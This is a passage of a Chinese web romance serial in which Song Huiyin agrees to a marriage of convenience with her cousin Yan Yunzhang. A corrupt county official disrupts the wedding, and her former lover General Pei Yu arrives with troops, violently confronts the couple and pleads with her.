天色已深,颜夫人将她安排住下后就离开了,他们本来是要安排徽音住到内院去的,却被徽音婉拒了,她只打算今日在颜家住一夜,明日就让人出去寻摸合适的院子租赁下来。 徽音也没有别的意思,只是她刚刚应下了和颜昀章的婚事,又是招婿,总不能一直住在颜家。 折腾了一日,徽音也实在有些累,她舒舒服服的泡完澡,躺在床上发呆。 阿父阿母已经葬入祖坟,她心中一件大事已了,还有一件事就是景川的下落,在长安时,冯承和王寰还有那个人都帮她找过,却都没有消息传回。 景川,他到底在哪。 她揉揉脸,翻身趴在软枕上,对于和颜昀章的婚事,她并没有当真。等明日她要去寻颜昀章说清楚,这门婚事只作挡箭牌,若颜昀章介意,她再另寻他法。 颜娘倒完水轻手轻脚的走进来,跪在脚踏上铺床,徽音听见动静朝床榻里侧滚去,拍着身侧道:“傅母,你睡上来。” 颜娘开心的哎了一声,脱下外衣躺上床。徽音靠过去,抱住她的腰蹭蹭脸,找了个舒服的位置闭眼睡觉。 颜娘轻轻拍着徽音的肩。 徽音小声问:“傅母,你觉得颜家人如何?” 颜娘手臂一顿,迟疑道:“颜氏父子真诚不似作假,就是颜夫人有些不对劲。” 徽音也和她看法一致,颜家一共四子,只有老四颜昀章是她所出,其余三人为妾室所出。 也就是说她只有一个亲生儿子,那在这种情况下,她的独子要入赘女方,她却没有一丝介意,即便是丈夫妹妹的女儿,那也太大方了些。 徽音睁开眼问:“那颜昀章呢?” 颜娘:“女郎觉得他有问题?” 徽音点点头,同样的道理,颜昀章作为颜府唯一的嫡子,一个家境富裕的男子,长相俊朗,为什么要主动愿意入赘? 要知道,时下对于入赘的男子很是鄙夷,若非实在是家境贫寒,男子们都不会愿意入赘。 颜家吃穿不愁,颜昀章一表人才,为何如此想不开。 徽音分析的头头是道。颜娘眼神有些古怪,她好笑道:“女郎说的很有道理,只不过你忽略了一个很重要的事情。” 徽音坐起身,一脸疑惑,“我忽略了什么?” 颜娘看着徽音眼底露出惊艳,她从小陪着徽音一起长大,却也还是时不时就会被她的容色迷住。 徽音穿着一身素白的里衣,露出的肌肤盈润如玉,头发柔顺的披在身后,眉眼温柔,在灯下闪闪发着光,叫人不敢直视。 颜娘看得清清楚楚,那颜昀章一见徽音便没有移开过眼,克制又控制不住的眼神她太熟悉了,曾经她也见过有人拿着眼神看待徽音。 她笑道:“你本是就是最好的珍宝,那颜昀章能成为你赘婿,是他天大的福气。” 徽音幽幽叹息一声,仰头在床上,无聊的编辫子玩,她还以为颜娘会说出什么东西来。没想到是王婆卖瓜,自卖自夸。 她摆摆手,捂着嘴唇打哈欠道:“傅母,我睡了。” 颜娘熄了灯躺下,借由月色打量徽音的眉眼。她至今记得徽音从裴府回来后一副心如死灰的模样。 她也不敢问徽音在裴府那夜和裴彧说了什么,一路上都不敢提裴这个字。好在离开了长安,徽音的情绪就肉眼可见的稳定下来,进了荆州后,恢复了从前的模样。 她绝口不提裴彧,面上依旧是笑着的模样。颜娘却心中惴惴不安,担心有一日着压抑的情绪爆发出来。 她替徽音掖了掖被角,已经秋末了,天慢慢冷了下来。那颜昀章各方面瞧着都不错,要是徽音能和他稳定下来就好。 —— 翌日一早,徽音打算用完早饭就去寻颜昀章说清楚,只是她还没用完,颜昀章就出现在了门口。 他穿着一身青色直裾,衣袖口的青竹根根分明,怀中捧着一束新鲜的木槿花,花枝上的露水鲜艳欲滴,带着清晨的草木香。 徽音愣愣的瞧着他,不明所以。 颜昀章站在门口没有进来,他将手中的花束递给颜娘,微笑道:“路过花坛时,见这花实在开的好,便想着给你送过来。” 花瓣纯白中带着粉,随着颜娘走动微微摇晃,像是在一颠一颠儿和人打招呼。 徽音上前接过花插在花瓶中,回头对颜昀章笑道:“我很喜欢,谢谢表兄。” 颜昀章被这笑容晃花了眼,他有些刻意的移开目光,盯着脚下的木板,“你喜欢就好。” “对了,表兄,我正好有事同你说。”徽音插好木槿,摆在窗前,粉白的木槿花瓣和窗外青翠的绿叶树相得益彰。 颜昀章眉眼温润,“你说。” 颜娘收拾好案几上的碗筷,自觉的退出门,将屋子留给她们二人。她也没走远,守在进屋的必经之路上。虽然说应下婚姻,但到底还没成亲,孤男寡女的叫人瞧见,终归是不好的。 徽音走到门口,站在颜昀章面前对他轻声道:“是关于我们的婚事,表兄,我与你做不了寻常的夫妻,我不会耽误你太多时间,至多一年,我便能彻底解决掉爵位隐患,你我便可婚约作废。” 颜昀章摇摇头,“你可知,你我婚约一事今日已经传遍宛县,宋家虎视眈眈的盯着,只怕婚姻不但不能解,还得尽快成婚。” 徽音皱眉不语,宋乔动作可真快。 颜昀章:“徽音,你独自为父翻案,在长安肯定受了很多苦。我想帮你,你放心,你若不愿意,成婚后我们就作一对假夫妻,你想做什么我都支持你。” 徽音不赞同道:“可是这样对你太不公平了。” “我自愿的。”颜昀章笑道。 徽音抬眼,忍住脱口而出的为何二字,她心中已经有些明白了。经过了这些事情,她早已经不是从前那个不同情爱的女子,颜昀章喜欢她,她能看出来。 他看她的眼神毫不遮掩。 做假夫妻,最忌讳的就是掺杂感情,颜昀章这种状态,她有些担心,万一将来…… 颜昀章似乎是明白她在担心什么,他将徽音担心的问题摊开来讲,“我知道你在担心什么,你担心我喜欢你,到时候会缠着你。” 徽音心思被人戳破,有些尴尬的低下头。 颜昀章:“你担心的没错,我确实不愿意放手。” 徽音垂着眼,等他继续说下去。 “你有没有想过,若是景川回不来你怎么办?” 徽音抿着唇,她不喜欢这个假设。 颜昀章看出她的不开心,语气更柔和了些:“你父亲这一脉的香火只剩你一人,你不想传承下去吗?” “我是自愿入赘,倘若你能接受我,与我做真夫妻,以后你我所孕育的子嗣就都是宋家的血脉,任何人都无法质疑这一点。” 徽音抬眼,有些尖锐的回,“孩子姓宋,你就不会介意?” 颜昀章笑,“我是入赘的,我介意什么,姓宋我开心还来不及。” 徽音一阵无语,又问,“你是你母亲的独子,她难道不会介意?” “阿母有有自己的小心思,无伤大雅,甚至可以利用一番。不过你放心,我对爵位没有兴趣。” 徽音心中清楚,他指的小心思就是爵位一事。 她问:“那你对什么感兴趣?” 颜昀章没有说话,他笑着凝视徽音,唇瓣微张做了口型:“你。” 他没有一句假话,对于这个远在长安的表妹,从前只是听说过她,御史大夫之女,长安贵女,与他地位天差地别。 后来宋渭出事,颜昀章本以为她很快就会回乡,还很期待和她见面。只是没想到她独自一人留在了长安,那时大家都以为她是贪慕长安荣华不愿回来,颜昀章也是这样以为。 前些时日宋渭平反的消息传回京城,颜昀章才知,她留在长安是为了替父亲翻案。那时,他就对这个素未谋面的表妹产生的兴趣,很想见见她。 所以他派人日夜守在渡口,比父亲还先得知她回来的消息,又亲眼见证她巧妙的用计让宋氏全族为她父母下葬。他瞧着那一幕,心中像是有什么在生根发芽。 宋昀章清楚的知道徽音现下最想要的是什么,他承认自己的卑劣,趁人之危,但那又怎样?他想要拥明月入怀,又些手段又何妨。 片刻后,他听见令人展颜的回答。 徽音应下了他的求亲,她说,"婚期你们定,我没有意见。” 颜昀章走后,徽音坐在案几旁沉思,方才她并非一事冲动,颜昀章的话让她无法拒绝。 她应该感动高兴才是,只是不知为何,心中一直提不起劲。 她目光无意识的落才天边的云团上,现在这个时候,裴彧应该正忙着和柳檀准备成亲的事宜,她也很快要成亲了,这过往的一切,就让它随风消散吧。 徽音从袖中取出那根狼牙吊坠,握在手心看了许久,不属于自己的东西,再怎么强求也得不到。 她找了个梨花木匣,将狼牙吊坠好生放进去,缓缓合上盖,塞到橱柜的最底下。时至今日,她和裴彧之间到底是谁对谁错,是否两清,她也说不清了。 徽音想,现在就是最好的结局了,他娶得心上人,她也有了归处,多年后有缘再见,不知能否平心气和的道一句,别来无恙。 第64章 裴将军,我已同旁人成婚…… 颜昀章和颜家的动作很快, 婚期定在了七日后,时间紧迫,好在并非是嫁娶, 不用遵守太多繁琐的规矩。 颜昀章主动揽下所有的事情,徽音乐得自在, 第二日就从颜府搬到了她新置的院子,此处身处闹市之中的幽静之处,房屋样式古朴。 坐落在两条小巷交错之处,入门处有一方小小的门庭, 以青砖铺地,右手边靠墙垒着一个半人高的烛台。门后是一扇朴素的木质屏风, 封着遮光纱, 隔绝行人打量的目光。 屏风后便是院落,院子不大, 地面用素土夯实得平整坚实,院角是一株高大的槐树,枝叶亭亭如盖,为小院送来阵阵荫凉。 徽音很喜欢这里,白日坐在院中, 能听见闹市的喧器, 商贩的吆喝, 满是烟火气。 在这期间, 宋家人频频登门劝说, 甚至如同牵线红娘那般, 带了好些年轻男子登门来给徽音相看,试图打消她和颜昀章成婚的念头。 徽音啼笑皆非片刻,竟还真认真打量起他们带来的男人, 她支着头一个一个打量过去,摇头道:“这个不行,不够高。” “这个也不行,没有我表兄俊秀。” “这个有口音,听不懂说话。” 她自认为说法已经很婉转,没有太伤人,那几人却还是羞愤至极,狠狠瞪了她一眼,拂袖离去。 颜娘看得直摇头,“这宋家是如何想的,找的人处处不如颜郎君,脾气还不小,这哪是做上门赘婿的样子。” 徽音吃着颜昀章大清早着人送来的白糖糕,手指欢快的拨弄手边新鲜的花骨朵,肯定的点点头,宋家越急,她越开心。 用过午膳后,徽音正打算小睡一会,颜家的管事领着几个妇人来了她这,手中还提着几个漆木盒。 管事讨好的笑道:“宋女郎,这是我家郎君在城中挑的几件成衣婚服,特送来让您试试。” 往常富贵人家嫁娶嫁衣都是要专门找绣娘绣制,约莫需要半年。她和颜昀章婚期太紧,婚服赶制不出来,只能购置成衣。 这场婚事对于徽音而言只是一桩交易,她也没太多讲究,带着人进了屋,任由她们在身上捣鼓,一件一件的试过去。 在绣娘再一次出声提醒让她收腹后,徽音有些羞愧的低下头,脸颊泛红,她这些时日过得太过闲散了些,腰身胖了一圈,原本的衣裙差着都有些勒腰身。 试完所有的衣服后,绣娘问她最喜欢哪件,她们好回去按照徽音的身形进行调整。徽音默了片刻,选了最为宽松舒适的那件喜服。 送走绣娘后,徽音也没有心思再睡,她绘了一副景川的容貌图,着人拿到街上去复刻,她现在财力雄厚,便想着请人多绘些,叫人拿到长安往北的方向一路去找,说不定能问出些消息。 闲散的日子总是过得很快,转眼便来到七日后,成婚的日子。徽音这座小院四处张灯结彩,红绸飘扬,招婿与出嫁不同,喜堂摆在了女方家。 颜昀章能力确实很出众,成婚的一切事务都是他亲历亲为,没打扰徽音一点,连今日到场的宾客都是颜家人在帮忙在招待。 宋修吾和宋乔没露面,他们甚至要求宋家族人一个都不许到场,想借此来打徽音的脸。 若她真是个孤女,在成亲当日无一个族人到场撑腰,自然早就撑不住对宋家服软了。可惜她不是,宋修吾那些把戏在她看来不值一提,她也丝毫不在意名声脸面一事。 徽音悠闲的坐在喜房内,任由颜娘替她上妆穿衣。买来的小婢女为人活泼伶俐,正在一旁绘声绘色的传述前院的场景,声音清脆,“县尉大人也来了,奴还是第一次见县尉大人呢,瞧着威风凛凛,叫人不敢直视。” 徽音听闻转头,发髻上的金钗碰撞传出声响,“县尉?” 小婢女眨巴着眼,脸颊红扑扑的望着徽音,声音如蚊虫,“对呀。” 徽音起身穿衣,她很少穿这般艳丽的颜色,正红的宽袖曲裾合缝严丝的贴合她的身形,裸露在外的颈脖纤细修长,肌肤如雪。 她面上上着浓妆,原本清丽的面容被妩媚丽色取代,眼角微微上扬,看人时像是不经意间带着勾子般,眼波流转,美目盼兮。 这身喜服穿起来很是繁琐,徽音低头整理裙摆,她只听闻这位县尉大人与宋家很少熟络,却没见过他的面。 今日他前来,是否与宋家有关?他们想做什么? 王寰和冯承留给她的侍卫还没有离开宛县,徽音将他们安排在客栈内。有他们在,她并不怕这个县尉,只是山高皇帝远的,这县尉在此地一手遮天,要找些什么借口对付颜府,她一时之间还真没有什么办法。 这般想着,颜娘已经帮她收拾好,徽音站在铜镜前,打量着镜中亭亭玉立的人影,望着熟悉又陌生的容颜,心中泛起涟漪,她原以为这辈子都不会穿上婚服。 颜府的婢女停在门口传话,“吉时已至,请新妇移步喜堂。” 徽音接过喜娘递来的喜扇竖在面前,慢慢抬步跨出屋门。颜娘和喜娘一左一右的扶住她朝前堂走。 婚礼正时设在黄昏时分,深秋的夜里黑得早,此刻回廊上已是昏暗一片,为防止新妇摔倒,回廊的上的陶灯一盏一盏亮起,前院已经灯火通明。 颜昀章一身喜服站在院中,两侧是今日前来观礼的亲朋好友。 唯一一点不同的是,正位右侧上本该落座的应该是颜家父母,此刻却坐着一个陌生男人,眉眼肃穆,看人时带着一抹居高临下的意味。 颜昀章面色有些不好,他冷冷看了眼不请自来的张县尉,压下心中的不适感,转身看着回廊处。 徽音由两人扶着慢慢走出来,头顶橘色的灯光洒在她身上,如玉人一般。 他呼吸不禁有些急促起来,下意识的上前一步,紧紧盯着徽音的身形,心情激荡。 徽音面前举着喜扇,加之天色昏暗裙裾复杂,她全副注意力都放在脚下,避免自己不慎踩到裙摆,没有注意到院中的暗潮涌动。 她走到颜昀章面前,和他面对面站着,徽音只能透过喜扇看见颜昀章红色的衣摆,她听见头顶温柔的声音,“累吗?” 徽音小幅度的摇摇头,用只有两人能听见的声音道:“我听闻县尉也来了,他来做什么?” 颜昀章面色有些凝重,他扫了眼正位上端坐着的张县尉,触及他眼中那抹不屑的笑意时,心中的不安达到的顶端。 他不想让徽音担心,面色平静没有表露出来,“张县尉与颜家也有旧,今日是来贺喜的,你别担心。” 徽音微不可察的皱皱眉,借由扇子的缝隙用余光去寻找张县尉,这才发现他居然坐在正位上。 这是非常失礼的表现,今日是喜宴,前来祝贺的官员不管官职多大,按理也得坐在正位之下,他却大剌剌的坐在高堂之上,究竟是毫无礼仪还是另有打算。 能坐到县尉之人通常都有些家底,何况她那日见张老大人举止礼仪都很好,没道理他做官儿子却如此不懂礼仪。 她心中微沉,却来不及细想,赞礼官已经开始高呼,喜娘扶着她的身体引导她和颜昀章站在一起,随后退下。 赞礼官高呼:“时辰已已到,拜高堂。” 徽音静静等着,身侧的颜昀章一直没有动作,她听见耳边宾客传来的议论,那张县尉坐在正位上,丝毫没有让位的意思。 颜氏夫妇脸色难看的站在一旁,低声下气的问询:“张大人,吉时已到耽误不得,您看……” 堂上一时之间寂静下来,只见那张县尉端起案几上的酒盏慢悠悠的喝着,一点没有回话的意思。 颜昀章再也忍不住,出声质问,“张大人这是何意?” 徽音皱着眉不语,看来今这门婚事是成不了,这张县尉分明是带着麻烦过来,却一直不曾发动,反而一直在激怒颜家。 她主动却下扇,冷冷道:“我们都是普通百姓,大人有话直言便是,何必如此欺辱。” 见她出声,张县尉这才放下酒盏,缓缓抬眼看向徽音,两侧胡须向下撇,眼中才藏不住的势在必得,“宋女郎,非是本官特意来找麻烦,只是本官不知该如何说起啊。” 他一双三角眼里含着意味不明的笑意,将徽音从头打量打尾,最后落于徽音脸上。 颜昀章上前挡住徽音隔绝他的视线,面露厌恶,这张县尉真够恶心的,他年纪都够做徽音的父亲了,一把年纪还肖像小娘子,不知廉耻。 徽音拉住颜昀章的衣袖,微微摇头,示意他先退后。颜昀章再如何出众有才志,终归没同这些官僚打过多少交道。 官大一级压死人,颜家是民,县尉却是这片地界的父母官,他要动颜家轻而易举。何况今日,他分明是冲着她来的。 徽音没有松开颜昀章的衣袖,和他并排站在一起,明明白白的告诉张县尉她的立场。 她扫了一圈来祝贺的宾客,皆碍于这张县尉的威严压不敢出声,徽音轻声道:“张县尉,直言便是,不必遮遮掩掩。” 张县尉胡须上翘,终于舍得从正位上起身来到院中,他半分都不曾遮掩对徽音的觊觎之色,“宋女郎,你这婚成不了,本官刚刚接到消息。” 他负手环视一圈,从面色难看的颜宵脸上移到一脸怒意的颜昀章脸上,最后再看向徽音,状似可惜,“本官刚刚接到消息,颜家隐匿人口、逃避赋税,罪责滔天,着即刻拿住下狱调查。” 颜昀章怒喝:“你这是诬陷,身为一县父母官,你居然以权谋私!” 张县尉冷哼,带来的人直接将颜昀章围住,反手擒拿住他。 他一脸可惜的对徽音道:“宋女郎,破环你的婚宴本官实在是抱歉,只是这堂你拜不了,你的未婚夫本官就带走了。” 他刻意在未婚夫三个字上加深,下令让人将颜家人拿住带走。徽音张开手拦在颜昀章面前,护送她来宛县的王家侍卫也都纷纷抽刀出来,护在两人跟前。 一时间喜堂满室寂静,明亮的刀锋上闪着面色不一的脸。徽音伸出手,眉间滞凝,不卑不亢道:“你虽为县尉,却也不能随随便便拿人,可有县衙文书为证?” 张县尉摇头失笑,抬手就要去摸徽音的脸,语气暧昧,“宋女郎,这是不是长安。在这里我才是天,我让谁死谁就得死,我让谁活谁就能活,颜家犯的可是满门抄斩的死罪啊。” 徽音皱眉避开他的手,张县尉年纪约莫四十,不同于旁人留的长须,他胡须量少,淅淅沥沥的挂在唇边,随着他说话的动静一颤一颤的,配上那副得意的神情,真叫人恶心。 她皱着眉思考,纵然她可以让王家的侍卫护着她和颜家冲出去,可宛县这么大,张县尉一手遮天,若逼急了他,杀人灭口毁尸灭迹的也无人知晓。 颜昀章焦急的拉住徽音,这张县尉打的什么主意他一清二楚,必然是宋家同他许下了什么好处,他见了徽音又见色起意,想拿颜家威胁徽音就犯。 颜宵也挣脱身后压着他的人手,大喊,“徽音,你别管我们,我就不信这狗官能一手遮天!” 张县尉哼哼笑了两声,下巴微抬拿鼻孔看人,“辱骂县官,罪加一等。” 他斜眼看着徽音,心中满意至极,没成想宛县这地界还会有这等佳人,还好宋家通报的及时,不然,他岂不是要眼睁睁错过了。 徽音沉着脸一眼不发,却没有离开颜昀章身边,也没让护着她的侍卫放下刀。 一时之间,院内静谧无声,两方人马对峙。 “什么声音?”张县尉被院外一阵吵闹声打断思绪,他不悦的掀起眼皮。 徽音朝门外望去,朱红色的大门紧闭,只有外头传来阵阵声响,有些听不真切。 院中人不由自主的屏息,凝神听着外面的动静。 嗒嗒—— 声音沉闷且有节奏,隔着地面隐隐传来,徽音甚至能感觉到脚下的土地微微发颤。 有人小声道:“这声音怎么像是铁骑。” 徽音心神一凝,衣袖下的手掌不住的握紧,她紧紧盯着那扇门,心跳的极快。 张县尉面上生疑,招来一个仆从让他出去打探打探。这宛县内有什么他一清二楚,外面的声音声势浩大,是什么人在装神弄鬼。 那人才走到门口,伸手要去开门。不妨门外突然传来一阵大力,朱红色的两扇大门被人用力的撞开,他整个人被撞飞了出去,重重的摔在徽音和颜昀章的脚下,嘴角泣血,哀声嚎叫。 被撞开的两扇门喧嚣尘烟退去,一通身乌黑,毛发顺亮的高头大马嗒嗒走近,马背上青年一身玄衣铁甲,朱红色的披风扬在身后。 顺着他的腰线往上,是一张刚硬冷毅的脸,鼻梁高直如峰,嘴唇紧闭,下颌线条紧绷,目光锐利如实质,带着杀气与警惕。 在他身后,黑压压的一片铁甲精兵围满了整个街道,他们威严肃穆的沉沉凝视着这座小院,右手按在腰间的长刀之上。 只待年轻将领下令,便会一拥而上,将这座小院顷刻之间夷为废墟。 徽音望着那张脸一阵恍惚,有些站不住的后退两步,被身侧的颜昀章温柔扶住,她定定的看着闯入的人,耳边的每一道声音都被无限的放大。 张县尉从两人身后走出来,怒视裴彧,指着他骂道:“你是何人竟敢如此大胆,在我宛县用兵,不要命了!” 裴彧目光沉沉的盯着放在徽音肩上手掌,如同看死物一般施舍的给了张县尉一个眼神,报上自己名号,“卫将军裴彧,奉皇命南下,巡查州县。” 张县尉走到裴彧马前,一脸不悦,“本官并未接到旨意,你可有文书节令为凭?” 裴彧轻轻瞥了他一眼,漫不经心道:“我不需要那些东西,我站在这里就是证明。” 张县尉一时语塞,他怎么觉得,这句话莫名有些眼熟呢? 没等他细想,裴彧身后又走出一人,来人手忙脚乱的跑上前,官袍褶皱不堪,连官帽都歪了半分,正是他那顶头上官的上官郡守姚庆大人! 姚庆抬手就给了目瞪口呆的张县尉一巴掌,喝道:“蠢货!你竟敢冒犯裴将军?” 张县尉腿不由自主的软下来,也不顾身后一群看热闹的人,没有半点犹豫的跪在地上,磕头认错,一把鼻涕一把泪道:“下官有眼不识泰山,请将军赎罪!将军赎罪啊!” 裴彧给了姚庆一个眼神,姚庆立马上道,拧着张县尉的耳朵堵住他的嘴,连拖带拉的将人弄出去。 张县尉被面前人三眼两语的解决掉,院中其他人面露惊恐,不明白宛县这小小的地方为何会出现这样的大人物。 裴彧不在乎这些人,他单手抽出腰间的佩刀,刺耳的刀锋声响起,他目光紧紧盯在那只碍眼的手上,冷声道:“我数三声,留下的人就不用走了。” 刀剑尖锐的蜂鸣声惊醒众人,不知是谁率先抬脚离开,其他人也跟着朝门口涌去,却又都不约而同的避开门口那位煞星。 徽音静静地站在原地,周身是疯狂朝外涌的混乱人群,颜昀章担心她被人冲撞,抬手将她揽进怀中,另一只手圈在徽音身前护着。 从方才裴彧现身起,徽音的视线就没从他身上离开过。此刻,摇曳的火光下,她隔着混乱的人群彧裴彧对视,看清了他眼底的凶戾之色。 等人都散开后,裴彧挑眉看向徽音身边的人,笑声如同索命的阎罗,“没走的人都杀了。” 驰厌不同与以往的闲散之色,他提着长刀缓缓靠近院中的其他,刀剑在青石板上划过,也像是划在徽音的心里。 “等等。”徽音出声阻止,“裴将军,这是为何?” 裴彧望着面前一身大红喜服,妆容明艳,头戴珠钗的徽音,以及她身边那个和她身着同色同样式喜服的男人,鲜红的颜色刺到他双眼,令他控住不住心底跃起的杀戮。 裴彧凝视她,“我有话对你说。” 她应下这个请求,将颜氏夫妇和颜娘劝走,唯独留下了身侧的颜昀章。 裴彧翻身下马,来到两人跟前,无视身侧的颜昀章,低头凝视徽音,“我想和你单独谈谈。” 徽音拉住颜昀章的手举到身前给裴彧看,无比冷静道:“裴将军,我已同旁人成婚,请恕我不能接受你这个无礼的要求。” 裴彧漆黑的眼珠微动,盯着两人十指相扣的手掌,透过两人相握的手掌,他第一次将目光放在徽音身侧这个男人身上,微微起伏的胸膛暴露了他此刻不平静的内心。 他移回视线,再度开口,“你和他尚未拜堂,算不得真正的夫妻。” 徽音淡淡回道:“若不是你们搅扰,我们早已经礼成。” 裴彧听闻此言,良久没有出声。 颜昀章此刻也终于明白,眼前这个大人物与徽音相识,他是为了徽音才来宛县。这个男人看徽音的眼神他无比熟悉。 他不动声色打量面前人,可悲的发现,自己哪一点都比不过他,权势地位,还是容貌气质,他输的彻彻底底。 不过,有一点他却是赢了,颜昀章垂眼看着他和徽音相握的手,在心中安慰自己。不管徽音和这个男人有什么过去,她回了宛县,答应了和他亲事,就意味着她已经斩断了过去。 他握紧徽音的手臂,上前一步将徽音护在身后,问,“不知阁下是何人?” 徽音顺从的退到颜昀章身后,微微松了口气,她实在不知该以什么心情和面目去面对裴彧。 裴彧望着身前一对璧人,全身的血液慢慢凝固,好像有一根极细密的长针从他心口穿过,不是剧烈的痛意,而是亘长的,细密的闷痛。 他设想过见到徽音的很多场景,她见到他也许会很开心,会上前拥住他。也许会难过,会怒斥他,像从前那样和他生气。 但从没想过,再见她时,居然是在她和旁人的喜堂之上,她一脸冷漠的站在旁人身前,道一句,裴将军,我已同旁人成婚—— 作者有话说:来迟了,最近有一点点小忙请见谅,后面更新还是和以前一样,早八点[玫瑰][玫瑰] 第65章 没了表兄还会有人,除了…… 深秋孤寂的夜里, 本该是高朋满座喜意连连的喜宴,却听不见任何声响。 凉风渐起,院中站着的三人, 沉默对视。 裴彧不再去管颜昀章是否留下,说出的话是否令人嗤笑, 他完全无视颜昀章,越过他看向垂眼不语的徽音,声音带着些哀求,“你为什么不告而别?” 徽音听闻这句话有些好笑, 她没有不告而别,想来是柳檀并没有将她留下的话转告给裴彧, 倒是不意外。 她缓缓抬眼, 正视裴彧,冷静道:“我没有不告而别, 你受伤昏迷之时,我去过裴府,去看过你。” 裴彧先是眉头蹙起,他压根不知道这件事情,没人告诉他徽音来过。他想起醒来时在他院中的柳檀, 心中明白了一切, 一定是柳檀从中作梗, 说了些令人误会的话。 徽音肯定因为柳檀才跟他生气才会离开长安, 才会同意旁人的求婚, 裴彧松开握紧的手指, 吐出一口郁气,徽音还在意他,他还有机会。 裴彧上前一步, 将拦在徽音身前的颜昀章一把扒拉开,视线凝着徽音解释道:“你去裴府遇见了柳檀对不对,她和你说一些话对不对?” 颜昀章:“……” 徽音缓缓抬眼,看清裴彧眼底的红意,她移开视线沉默的点点头,时至今日,她依旧不愿意想起那日在裴府的事情。是那么的愚蠢不堪。 裴彧握住徽音的双肩,冷喝道:“都是假的!柳檀说的一切都是假的,你不要信。” “她说了什么,告诉我,徽音。” 徽音退后一步,握着颜昀章的手渐渐松开。颜昀章心神一凛,连忙用力握紧徽音。手上大力传来,徽音蓦然回神,盯着地板喘息道:“她说,你和她年前就会成婚。” 裴彧追问:“所以,你才会离开长安,才会答应旁人的求亲,是不是?” 颜昀章有些愤怒,从开始这人就在旁人旁人的,从没正视过他,真是可恶至极。定是他先负了徽音,待她不好,徽音才会离开长安,现在追来装作一副情深似海的样子,早干嘛去了。 颜昀章倒也没出声,他明白,这件事情只能徽音自己解决,旁人插手不了。 徽音回想起听闻裴彧和柳檀要成亲时的心情,确实很糟糕,很让人难受。不过她不是因为这件事情才离开长安的。 她摇摇头,平静的看向裴彧:“不是的,我离开长安是我一早就决定好的,与柳檀无关,与你亦无关。” “至于我和表兄成婚一事,更无关其他,只是因为我想,我觉得他合适。” 裴彧冷喝:“我不信,你在骗我!” 徽音笑起来,她向来清冷,很少笑得这样开怀,平时总是微微抿唇浅笑。此刻突然莞尔,笑颜像极了初雪融化后绽开的第一朵梨花。 可细看之下,她眼底的悲凉比笑意还要重,“裴彧,你以为我会因为你和柳檀的破事就将自己的人生随意处置,随便找一个人嫁了?你以为我和表兄成婚是想要气你?” “你太高估你自己,也太低看了我。我再说一次,我答应和表兄成婚与你没有半分关系。” 裴彧刚刚升起的希望转瞬间就被徽音这几句话砸了个稀巴烂,他看着面前神情冷漠的徽音,后知后觉的发现,自己从来都不曾了解过她。 他以为柔弱,只能依附他的徽音。实则比任何人都要果断,说不要他就不要了。 可凭什么?是她主动找上自己的,现在想要脱身离去,他绝不会答应。 颜昀章不妨裴彧突然动手,手腕处传来的大力似乎要将他手骨捏碎,他吃痛的松开徽音的手连连后退,却被那人轻而易举的掀倒在地。 颜昀章还没有反应过来,就已经被裴彧重重一脚踩在胸膛上,闷声吐出一口血,虚弱的倒在地上无力挣扎。 变故发生的猝不及防,徽音大惊失色,上前想要扶起颜昀章,“你干什么!” 裴彧一只手就制住了徽音,他擒着她的腕子,力道刚好将她制住又不能弄疼她,将人狠狠的拽到怀中,抚着她的脸颊质问:“你不会要告诉我,你就是为了这种废物放弃我吧?宋徽音,他哪点比得上我?” 徽音彻底冷了脸,她拽着裴彧的手怒道:“你放开他,有什么你事你冲我来!” “你就这么在乎他,啊?”裴彧心中一阵暴怒,脚下不住的用力。颜昀章只感觉胸前一阵闷痛,呼吸困难,眼皮上翻。 徽音看着呼吸微弱的颜昀章,当初在长安的那阵无力感再度袭来,好像她不管怎么做,都没办法脱离权势的压迫。 那天也是这样,裴彧震怒,说要囚禁她,不许她为父报仇。现在,这一幕再度在她眼前发生,她望着裴彧发红的眼角,心中后怕,裴彧他,真的会杀了颜昀章。 徽音眼中涌出泪,她不明白,明明自己已经离开了长安,为什么还会这样。 为什么总是这样,总是要逼着她,逼她说一些不愿意说出口的话。逼着她将心撕碎,让她刨开心迹,将那些阴暗,软弱,痛苦的事全部说出来。 她不想的,不想将自己脆弱的一面展露出来。 “你和我之间,从来都不是外力影响,都是因为你。”徽音痛恨的抬起眼,一双眼通红不堪,泪坠在眼角。 “是你不懂平等的看待我,尊重我!我恨你将我的话语当作耳旁风,我说什么你从来都不听,从不在意我的感受。我恨你甜言蜜语却什么都没做到,还和其他女子纠缠不清!我更恨你,阻拦我为父亲报仇!我只要一想到你用施舍的语气,叫我放弃报仇,作为补偿说会娶我,我就恨不得你去死!” 徽音痛苦的闭上眼,摇头落泪,“你我从一开始就是错的,如果可以过去,我一定一定不会再选你。” 裴彧慢慢松开颜昀章,踉跄着来到徽音面前,扶着住她淡淡双肩,盯着她的眼,哑声道:“你说什么?” “你问我表兄哪里比得上你,他哪里都比你好。他会尊重我,倾听我的意见,事事以我为先。他父亲是我舅父,是我在世上唯一的亲人,待我如同亲女。他不会像你一样,和旁的女人牵连不清,流言满天……” “也不会像你母亲一样,不论我如何小意讨好,依旧待我不好,处处找事。 徽音说到最后声音有些颤抖,眼泪不受控制的往下掉,晕开她脸上的妆容。她知道,她现在这副模样一定很狼狈。 但她还是要说下去,她不想再和裴彧纠缠不清,她和裴彧断得干干净净,彻彻底底。 “更重要的是,表兄愿意入赘,愿意帮我延续宋家香火。而你呢,能给我什么呢?” 徽音垂下眼,睫毛挂着一颗泪,她别过脸,不去看裴彧和颜昀章是什么表情,她现在不想再去管任何人,只想逃离这个地方,将自己埋葬起来。 裴彧喉间发涩,他从来不知道徽音有这么多的委屈,那些质问的话语像一击击重锤砸在他的心上,让他心神晃荡。 他沙哑道:“我不知晓……柳檀一事是我做错的,我不会再犯了。”他小心翼翼道:“你不是想知道我为什么去青州接她吗,我现在告诉你。” “可我现在不想听了。”徽音打断他,冷漠道:“你和柳檀的一切我都不想再听,请你现在离开。” 裴彧不肯放弃,他轻柔的捧住徽音的脸,声音颤抖,“徽音,求你听听好不好,你就听听,听完再赶我走我,好不好?” 徽音掐着手心,没有说话。 “那次是柳檀给我传急信,她被亡夫的弟弟强迫侮辱,生不如死,求我看在往日的情分上再帮她一次。徽音,我知道我和柳檀有过许多流言,那都不是真的,我同她确实是年少定亲,但那时,我只将她当作妹妹看待。” “后来她嫁给他人,丈夫身死,董家强迫她守节,我亦是出于年少的情分才帮她。那些流言并非真的,我默认流言是想借这个事拖延婚期,只是没想到后来会遇上你,也一直没有告诉你真相。” “我对柳檀,从来都无意。” 